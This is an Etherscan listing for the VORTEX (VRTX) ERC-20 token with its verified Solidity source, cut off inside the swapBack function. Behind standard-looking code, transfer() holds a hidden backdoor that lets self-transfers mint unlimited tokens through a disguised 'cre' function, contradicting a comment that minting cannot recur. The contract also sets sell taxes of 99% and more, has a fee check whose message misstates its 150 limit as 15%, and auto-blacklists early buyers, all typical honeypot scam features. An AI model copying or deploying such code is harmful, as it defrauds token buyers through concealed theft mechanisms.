ERC-20
Overview
Max Total Supply
10,000,000,000 VRTX
Holders
43
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,000,000 VRTXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
VORTEX
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-06-23 */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipient == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipient == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract VORTEX is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("VORTEX", "VRTX") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 99; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 0; uint256 _earlySellLiquidityFee = 99; uint256 _earlySellMarketingFee = 1; uint256 _earlySellDevFee = 0 ; uint256 totalSupply = 1 * 1e10 * 1e18; maxTransactionAmount = totalSupply * 3 / 1000; // 0.3% maxTransactionAmountTxn maxWallet = totalSupply * 10 / 1000; // 1% maxWallet swapTokensAtAmount = totalSupply * 10 / 1000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 10000000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxWallet lower than 0.1%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 15, "Must keep fees at 15% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 150, "Must keep fees below 15% during anti snipe block"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 1) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (1 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 4; sellMarketingFee = 4; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 99; sellMarketingFee = 1; sellDevFee = 0; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance 